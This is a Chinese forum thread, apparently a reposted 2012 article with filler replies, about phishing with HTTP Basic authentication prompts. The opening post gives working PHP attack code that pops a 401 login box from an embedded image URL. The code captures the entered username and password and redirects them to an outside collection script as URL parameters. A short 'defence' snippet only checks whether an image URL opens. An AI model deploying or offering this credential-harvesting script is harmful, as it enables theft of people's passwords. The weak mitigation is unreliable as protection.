天泽在线_网页版CS_CS对战平台_Cs1.6_amxx_sma插件_CS论坛

标题: 基础认证钓鱼攻击与防范 [打印本页]

作者: admin 时间: 2012-12-6 03:41
标题: 基础认证钓鱼攻击与防范
前言
这几天基础认证钓鱼很火，我们来了解一下！

正文
首先大家回想一下，在访问路由器的时候是不是会弹出这样的一个弹窗让你输入帐号密码登录呢

没错这就是最近很火的基础认证。

那我们如何用php来实现钓鱼攻击呢。

在php手册中有以下代码来演示基础认证登录。

if (!isset($_SERVER['PHP_AUTH_USER'])) {

header('WWW-Authenticate: Basic realm="My Realm"');

header('HTTP/1.0 401 Unauthorized');

echo 'Text to send if user hits Cancel button';

exit;

} else {

echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>";

echo "<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>";

}
首先定义HTTP头为WWW-Authenticate，然后相应为401 这样就可以构造一个简单的基础认证框。

基本流程，用户访问被污染服务器，服务器返回信息，浏览器访问图片地址，图片服务器返回401响应，http头为WWW-Authenticate ….. ，浏览器弹出基础认证框，由于Location:被定义为收信地址所以，浏览器跳转并转递信息至收信地址。攻击完成。

贴出攻击代码吧。

<?php

$info=@$_GET['info'];

if(!isset($_SERVER['PHP_AUTH_USER'])){

header("WWW-Authenticate:BASIC Realm=$info");

header("HTTP/1.0 401 Unauthorized");

exit;

}else{

/*获取用户名，密码进行验证*/

$user=$_SERVER['PHP_AUTH_USER'];

$pwd=$_SERVER['PHP_AUTH_PW'];

extract($_GET,EXTR_SKIP);

if($user&&$pwd){

header("Location:http://www.baidu.com/config/log.php?user=$user&pass=$pwd");

}else{

header("WWW-Authenticate:BASIC Realm=user");

header("HTTP/1.0 401 Unauthorized");

exit;

}

}

?>
防范措施：

由于这种攻击并不是由漏洞造成的所以我们的防范手法只能去确定图片地址是否为有效图片。

我们可以用以下代码来验证图片是否有效！

<?php

$url = 'http://www.baidu.com/img/baidu_sylogo1.gif';

if( @fopen( $url, 'r' ) )

{

echo 'File Exits';

}

else

{

echo 'File Do Not Exits';

}

?>
本文作者Joe Lynch@dis9
[/td][/tr]
[/table]

作者: 冶保钧宝 时间: 2012-12-6 10:16
非常感谢楼主，楼主万岁万岁万万岁！

作者: 神也未必 时间: 2012-12-10 11:19
很好！很强大！

作者: 送达 时间: 2012-12-10 14:49
严重支持！

作者: 林王呵呵 时间: 2012-12-17 04:51
想都不想，就支持一下

作者: 圣希沃自行车 时间: 2014-11-17 02:35
回贴赚学识，不错了

作者: 祠兰秉 时间: 2014-12-4 15:44
在线等在线等

作者: 战神布丁 时间: 2014-12-27 18:21
勤奋真能造就财富吗？

作者: 覃伟伦 时间: 2015-1-27 16:37
我在顶贴~！~

作者: 似是而非 时间: 2015-3-1 13:28
努力,努力,再努力!!!!!!!!!!!

作者: 星峰 时间: 2015-3-29 16:07
赚点分不容易啊

作者: 无名 时间: 2015-5-2 14:00
这年头，分不好赚啊

作者: 节奏和电影 时间: 2015-6-8 16:06
有空一起交流一下

作者: 倒萨发生 时间: 2015-7-14 17:01
支持你一下下。。

作者: 尤佐 时间: 2015-8-18 06:52
不知道说些什么

作者: 草泥马 时间: 2015-9-19 14:49
朕要休息了..............

作者: 爱情不是罪丶 时间: 2015-10-22 07:37
呵呵,支持一下哈

作者: 星星 时间: 2015-11-29 15:13
你喜欢贴子还是发贴子的人

作者: 我神枪手 时间: 2016-1-14 00:25
一个个全都骑到老大头上来了...

作者: 湖南 时间: 2016-2-23 06:04
21世纪，什么最重要——我！

作者: 身份证 时间: 2016-4-15 06:13
支持一下吧

作者: 注册不了 时间: 2016-6-17 22:42
希望大家都有好运

作者: 小觅 时间: 2016-7-29 04:27
顶也～

作者: 请输入名字 时间: 2016-9-27 20:01
帮顶

作者: 年少不轻狂 时间: 2016-11-22 02:21
任何的限制，都是从自己的内心开始的。

作者: 情非得已 时间: 2017-1-21 00:21
发贴看看自己积分

欢迎光临天泽在线_网页版CS_CS对战平台_Cs1.6_amxx_sma插件_CS论坛 (https://bbs.tianzept.com/)